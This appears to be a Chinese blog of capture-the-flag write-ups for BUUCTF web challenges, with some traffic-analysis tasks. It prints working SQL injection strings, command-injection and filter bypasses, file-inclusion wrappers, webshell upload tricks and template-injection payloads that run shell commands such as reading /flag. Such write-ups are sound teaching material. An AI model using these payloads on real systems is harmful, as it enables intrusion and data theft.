buuctf wp(持续更新)
[极客大挑战 2019]EasySQL
直接输入万能密码1’ or 1=1#拿到flag
[极客大挑战 2019]Havefun
使用hackber查看后发现使用get传入cat=dog可以拿到flag
[HCTF 2018]WarmUp
查看后发现一个source.php,直接访问这个页面
发现需要代码审计,真正执行的是下面的这一部分,检查file的内容是否为空,是否是字符串,是否在白名单内,上面的代码就是检查,都符合后对file传入的内容进行文件包含
1 | $whitelist = ["source"=>"source.php","hint"=>"hint.php"]; |
要求白名单内只允许出现source.php和hint.php,内容不能为空且是字符串
1 | $_page = mb_substr( |
mb_substr的在此处的作用是截取,0代表从最开始截取,截取到mb_strpots得到的数字,mb_strpos的在此处的作用是,找到其被拼接上一个?后,?首次出现的位置,看截取内容是否在白名单
这样我们就可以构造我们真正要包含的文件?file=hint.php?../../../../../xxx,截取绕过白名单后,第二个?后面是我们真正包含的文件
传入hint.php后,我们能找到真正的flag存在的位置
我们在第二个问号后直接传入真正的flag的位置后发现,是空白的网页,由此我们考虑可能在其他目录,然后我们进行目录穿越最终拿到flag
[ACTF2020 新生赛]Include
题目名字提示我们这道题是文件包含题目,然后我们就要找到文件包含点,进去后发现只有一个tips,点进去后发现文件包含点,我们进行日志包含最终拿到flag
这里使用的是日志包含
[ACTF2020 新生赛]Exec
简单的rce考察
首先查看根目录的文件,找到flag
然后查看flag就能拿到flag了
[GXYCTF2019]Ping Ping Ping
首先我们查看当前目录的内容,发现flag.php,然后进行空格过滤的替换,再使用拼接法进行绕过
查看当前目录文件的时候,发现flag.php
然后在查看flag.php的时候发现过滤了空格,我们使用$IFS$1进行绕过
我们又发现它过滤了flag关键词,我们使用拼接法进行绕过,最终拿到flag
[SUCTF 2019]EasySQL
输入*,1后直接拿到flag
[极客大挑战 2019]LoveSQL
没有任何限制的字符型sql注入
输入万能密码发现能进去1’ or 1=1#
说明没过滤什么,并且是字符型注入
1’ order by 3#
一个一个尝试发现当4时出现不存在这一字段,说明表只有三列
进行脱库
1’ union select 1,2,database()#
拿到库名为geek
在拿表名
1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=’geek’#
拿到两张表,经过尝试发现flag是在第二个表上
我们来爆字段名
1’ union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=’geek’ and table_name=’l0ve1ysq1’#
然后我们来爆字段
flag在password里
1’ union select 1,2,group_concat(password) from geek.l0ve1ysq1#
我们就能拿到flag
[强网杯 2019]随便注
考察的是堆叠注入
1’;show databases# 查所有库名
1’;show tables# 查所有的表名
1’;show columns from表名
#
1’;prepare y from concat(‘sel’,’ect*from表名
‘);execute y;#
拿到所有表名
查看指定表名的所有列名
我们发现这张表里有flag
然后我们直接看这张表的全部内容,就能拿到flag
我们发现这里过滤了select,我们要对select 进行绕过
1’;prepare y from concat(‘sel’,’ect*from
1919810931114514
‘);execute y ;#
我们就能拿到flag
[极客大挑战 2019]Secret File
发现在这个页面还有一个页面
再次点击后发现提示已经查阅结束,那么在第二个网页和第三个网页肯定存在一点东西
我们使用bp进行抓包可以看到另一个网址
进入后是一段简单的文件包含代码,使用filter伪协议可以进行绕过
base64解编码后我们就拿到了flag
[极客大挑战 2019]Http
寻找能找到flag的地方,然后bp抓包后发现一个secret.php比较可疑,进去后按照提示就能拿到flag
进去后说我们不是来自某某网址,我们直接bp抓包后给它改上去,referer:# https://Sycsecret.buuoj.cn然后我们就能进入下一步提示
这里要求我们使用这个浏览器,我们直接修改user-Agent为这个就可以进入下一步
最后一个是要求我们在本地,我们直接添加X-Forwarded-For:127.0.0.1就可以拿到最终的flag
[极客大挑战 2019]Upload
进去后发现一个上传点,我们上传一个含有一句话木马的jpg图片,将后缀修改为php
在发现php后缀不行的时候,我们可以使用几种可以代替php的后缀,如php3,php5,phtml,试验后发现phtml可以
然后发现不能用<?那么我们的一句话木马就需要修改以下形式,查一下php7中文手册,找到了可以替代<?的语句
使用这个后就能进行上传
遇到下面的情况的时候,只需要添加GIF89a,让它识别为图片就可以
然后他没有给我们上传图片的路径,我们直接猜路径为/upload/1.html,没告诉的时候,一般是/upload/xxxx
执行rce最终拿到flag
[极客大挑战 2019]Knife
菜刀+一句话木马
这里已经提示的很明显了,直接用蚁剑连接,就能拿到flag
[ACTF2020 新生赛]Upload
直接上传一张含有一句话木马的图片,将后缀修改为phtml就可以正常上传
这里不是默认路径了,我们使用bp可以看到正确的上传路径
访问后使用rce,拿到flag
[极客大挑战 2019]BabySQL
考察的是基本的sql,虽然过滤了很多东西,但是通过双写绕过,就可以全部进行绕过,这是这道题的全部思路
输入1’ or 1=1#后,出现语句错误,那么我们可以猜测过滤了or,输入1’ oorr 1=1#后可以登录
然后我们来爆字段数,最终发现为四段,并且这里过滤了by,我们可以使用bbyy进行代替
然后我们来爆库名
这里经过尝试后发现过滤了union和select,双写绕过即可
1’ ununionion seselectlect 1,2,database()#
然后来爆表名
1’ ununionion seselectlect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema=’geek’#
这里还过滤了from,where
然后我们来爆字段名
1’ ununionion seselectlect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_schema=’geek’ aandnd table_name=’b4bsql’#
这里还过滤了and
最后我们爆字段的内容拿到flag
1’ ununionion seselectlect 1,2,group_concat(passwoorrd) frfromom geek.b4bsql#
[ACTF2020 新生赛]BackupFile
首先经过尝试和题目提示访问index.php.bak
我们能拿到下面的文本,意思是key只能是文本并且和str是弱相等,根据弱相等123aa==123,所以我们直接传如key=123,拿到flag
[极客大挑战 2019]BuyFlag
这里有好几层验证,身份,弱相等,科学计数法
首先我们发现有第二个网页,这里有flag的信息
要求我们必须是它的学生,经过一番尝试后,发现cookie有个user符合题意,user是0,改为1后就可以进入下一步了
password要求和404弱i相等,还要不只包含数字,password=404a可以绕过
然后需要我们支付money,直接传入money=100000000的话会显示太长了不行,于是我们使用科学计数法来代替.输入money=1e9绕过,最终拿到flag
[NewStarCTF 2023 公开赛道]include 0。0
题目中过滤了base和rot,那么使用filter的相应部分就没用了,尝试了日志包含和session包含都出不来,data伪协议也不行,最终使用了远程文件包含拿到flag
远程下载一个一句话木马
然后访问题目中画圈处,使用post传参,1=system(“tac ../../../flag.php”);?>拿到flag
[BJDCTF2020]Easy MD5
输入东西后发现没有回显,尝试找找有没有攻入点,BP抓包后发现一具sql语句
这里我们使用MD5的万能密码ffifdyop会可以进行绕过
输入后进入另一个页面
查看源代码后发现考察的是MD5的弱相等绕过
这里有两个方法
方法一:数组绕过
a[]=1&b[]=2
方法二:使用特殊的值
byGcY
0e591948146966052067035298880982
QNKCDZO
0e830400451993494058024219903391
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514
240610708
0e462097431906509019562988736854
314282422
0e990995504821699494520356953734
571579406
0e972379832854295224118025748221
903251147
0e174510503823932942361353209384
上面的随便找两个就可以进行绕过,例如输入a=byGcY&b=QNKCDZO
绕过后发现考察MD5的强相等绕过,可以使用上面在绕过弱相等时使用的数组绕过
[ZJCTF 2019]NiZhuanSiWei
首先第一层是
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){ echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
即读取里面的内容,并且内容与要求的相等
这里可以使用data伪协议进行绕过,我们知道data://text/plain/,后面如果没有<?php的话就会被当为文本执行,这里可以利用这个特性写入
text=data://text/plain/,welcome to the zjctf
成功进入下一层,然后要求我们file的内容不能含有flag,我们使用filter伪协议进行绕过
file=php://filter/convert.base64-encode/resource=useless.php
进行base64解码
考察的是反序列化知识
这里使用到了__toString魔术方法,直接输出对象引用则会自动调用对象中的__toString()方法
题目中的password会进行反序列化直接输出,从而自动调用__toString魔术方法,我们只需要传入正常序列化的语句即可
反序列化后拿到最终payload
这里我们要执行这个else,因而file的值要改为错误的值
所以最终payload为
text=data://text/plain/,welcome to the zjctf&file=useless.php&password=O%3A4%3A%22Flag%22%3A1%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22flag.php%22%3B%7D
然后查看网页源代码拿到flag
[MRCTF2020]你传你🐎呢
孙笑川坏事做尽
我与孙笑川不共戴天
首先创建一个.htaccess文件,内容写AddType application/x-httpd-php .jpg作用是让我们传入带有一句话木马的jpg图片的时候,不需要改后缀,就可以直接执行php代码
首先BP抓包
这里需要过滤,将Content-TYpe的内容改为image/jpeg绕过
然后传入图片马
蚂剑连接
拿到flag
[Flask]SSTI
根据题目提示,这道题考的是ssti模板注入
因为没什么过滤,直接传http://node5.buuoj.cn:28273/?name={{"".__class__.__base__.__subclasses__()[117].__init__.__globals__['popen']('ls /')['read']()}}
这里都看了,但是就是没有flag
然后找找找,发现flag在环境变量里?name={{"".__class__.__base__.__subclasses__()[117].__init__.__globals__['popen']('env')['read']()}}
[网鼎杯 2020 青龙组]AreUSerialz
这道题考察的是反序列化的pop链
is_valid
的作用是检查是否存在不可见字符,这里要求不能存在不可见字符protected $op; protected $filename; protected $content;
这三个都是用的是protected,在反序列化的时候是 %00+*+%00+属性名,这里的%00属于不可见字符,因而不能存在,后面需要将属性改为public
pop链在构造的时候只需要保留修改值的地方就可以,其他的地方全部删掉
pop链修改时,做出改变的__construct魔术方法会对题目中原来的__construct进行覆盖,因而题目中的__construct是利用不了的,我们可以利用__destruct魔术方法进行解题
__destruct魔术方法中的if($this->op === "2")
是强项等,如果相等的话就会执行$this->op = "1";
,因而我们需要进行绕过,op=1就可以绕过,因为__destruct中的op是字符串2,而我们传入的是数字2,这两个不是强相等,而是弱相等
题目中的write方法是混淆视听用的,没有作用
我们要利用的是read函数中的
$res = file_get_contents($this->filename);
综上,代码奉上
1 |
|
最终的payload是?str=O:11:”FileHandler”:3:{s:2:”op”;i:2;s:8:”filename”;s:8:”flag.php”;s:7:”content”;s:1:”1”;}
[护网杯 2018]easy_tornado
点进去观察到网址处有个filename和filehash结合题目提示,应该是让我们找这个filehash值
这里的filename应该就是这个
因为题目是tornado,所以这里应该考察的是ssti模板注入,我们要找的是密码
修改一下网址后进入到这个页面,尝试了一下,发现果然是模板注入
这里我们传入/error?msg=
作用是查看环境变量,在环境变量里发现密码
根据题目中提示的加密方法进行加密
传入后拿到flag
[WesternCTF2018]shrine
这里考察的是ssti
首先进行代码审计,FLAG在config里,但是config和self又在黑名单里无法使用,我们要找config从而找到flag
要从父类开始寻找
使用
查看全局变量
再使用
读到当前app
再读取config拿到flag
[CISCN2019 华北赛区 Day2 Web1]Hack World
首先根据提示,表名和字段名都是flag,我们只需要进行爆字段就可以了,尝试了一下,报错的形式是bool(false)
像extractvalue,updataxml,union等都被过滤了,结合返回值是bool,这可能是布尔注入
脚本奉上
1 | # 二分法 |
运行后拿到flag
[BSidesCF 2020]Had a bad day
先欣赏一下可爱小猫,可恶啊,小猫怎么这么可爱
加一个’后报错信息中有include,猜测考察的是文件包含>
我们传入的信息后面会自动加上.php,因而我们传入的时候不用再加.php
使用伪协议读flag还是提示要存在狗或猫,但是读index,却出来了源码,得到解题信息
base64解码后发现要求必须存在这三者的一个
随便找个地方加上即可
[BJDCTF2020]The mystery of ip
BP抓包后发现ssti漏洞
执行rce拿到flag
{{}}
里的rce不用带;,不然会报错
[BJDCTF2020]ZJCTF,不过如此
这道题总感觉似曾相识,有一道类似的题目最后考察的是反序列化
首先先看一下代码,第一关是text文件内容要是题目所给的内容,我们使用data伪协议就可以了,后面写的内容如果没有<?php头就会被识别为文本,正如题意
第一关?text=data://text/plain/,I have a dream
看第二关要包含file,并且file不能含有flag,我们根据题目提示先访问next.php
发现直接包含是看不到的,考虑存在过滤,这里使用filter伪协议进行绕过,看到nect的内容
解码后得到的是下面这一段内容
刚开始也是一头雾水,看不懂这写的是什么玩意,投喂给AI后,发现了解到有这么一个漏洞
**正则替换漏洞(
preg_replace的
/e修饰符)**
我们传入它就能执行我们的命令
例如下面尝试执行phpinfo()
但是这里不能直接执行system(“ls”);类的语句
我们只能另寻僻静
我们可以利用这个地方
执行系统命令,最终拿到flag
[GXYCTF2019]禁止套娃
御剑扫了一遍,发现什么也没有
BP抓包也没什么有用的信息,最后发现是git文件泄露
这里使用GitHack拿到源文件
好麻烦,直接碰运气吧
var_dump(show_source(array_rand(array_flip(scandir(current(localeconv()))))));
随机打开文件,多点几次,总能看到flag,最终拿到flag
[GWCTF 2019]我有一个数据库
算是开了眼界了,题目还可以这样考
dirsearch搜出来一个路径
http://ec7bff2c-c04c-4ec5-b00d-5b5f2fc08b0d.node5.buuoj.cn/phpmyadmin/
进去后发现是一个数据库,和题目也就对上了
这个版本存在任意文件读取漏洞
语句为?target=db_sql.php%253f/../../../../../../flag
这里通过目录穿越读到根目录的flag
[WUSTCTF2020]朴实无华
首先要找到真正的题目,访问robots.txt,访问得到的网址,使用Hackbar看到真正的题目
总共有三关
第一关intval($num) < 2020 && intval($num + 1) > 2021
这里用到科学计数法的一个特性
例如第一个比较的时候2e5只会读2
而2e5+1读到的就是200001
可以利用这个特性绕过
第二关
$md5==md5($md5)
这里使用特殊值0e215962017
可以看这篇文章,写的挺全的
第三关
!strstr($get_flag," "
不能有空str_ireplace("cat", "wctf2020", $get_flag)
将$get_flag中的cat替换为wctf2020
很容易,空格用${IFS}代替就可以了
使用tac而不是用cat
可以绕过拿到flag
最终payload为?num=2e5&md5=0e215962017&get_flag=tac${IFS}fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag
拿到flag
[BJDCTF2020]Cookie is so stable
这里就是注意题目,cookie,这是做这道题的重点
做过好几道这个页面的题目了,几乎考察的都是ssti,这道题也一样,知识位置换了
传入49
返回49,判断存在ssti模板注入漏洞
使用hackber发现cookie处有个user,值就是我们传入的值,这里我们要使用BP,修改user的值从而进行模板注入,不然做不出来
我们根据这张表进行尝试
尝试到49处发现没有原样返回,而是返回了个49,说明是Jinja2或者Twig
那么这两个该怎么判断呢?判断方法如下
传入49
返回49—>Jinja
返回7777777—>Twig
这里判断是Jinja
传入{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}
拿到flag
[MRCTF2020]PYWebsite
这道题不难,但是题目好有意思,哈哈哈哈哈哈哈
查看源代码,发现一段代码是验证
这里随便找个网址进行解密
这里解密后传入,进入到这个抽象的网页
这里有个提示是购买者和‘我自己’
这个我自己可以通过
X-Forwarded-For:127.0.0.1
进行伪造,伪造后成功发现flag
[NPUCTF2020]ReadlezPHP
直接curl+u查看网页源代码
这里看到一个time.php?source,访问一下试试
就可以看到真正的题目了,是一道简单的反序列化,但是还是有个坑
如果连接蚁剑+提权
会拿到一个假的flag,刚开始还以为题目出错了,原来是我太菜了
嘿,这是假的!那真的在哪儿呢?phpinfo()!
附上代码
1 |
|
拿到flag
[CISCN2019 华东南赛区]Web11
题目重点总共有两个
smarty是一种模板
这里考虑是ssti模板注入
那么注入点在哪里呢?这里有个XFF比较可疑,尝试一下发现可以
构造payload
{if system('cat /flag')}{/if}
拿到flag
[BSidesCF 2019]Futurella
要是ctf题目都是这个难度就好了
考察优秀的访问源代码能力
被嗅探的流量
直接过滤flag拿到flag
[DDCTF2018]流量分析
首先我们要寻找这个key
再通过保密协议TLS拿到flag
密钥首先想到的就是key,这里直接过滤key
发现一大长串base64编码后的字符
解码时发现时PNG图片
这里使用看图识字提出来字符,进行拼接
字符为
1 | -----BEGIN RSA PRIVATE KEY----- |
编辑–>首选项–>Protocols–>TLS–>Edit
在本地写个txt,把密钥写进去,读入
过滤http–>追踪
[第九章][9.3.1 HTTP流量分析]http流量分析
直接过滤flag拿到flag
[第九章][9.3.2 webshell混淆流量分析]webshell流量分析
丢CTF_NetA工具里了,一把梭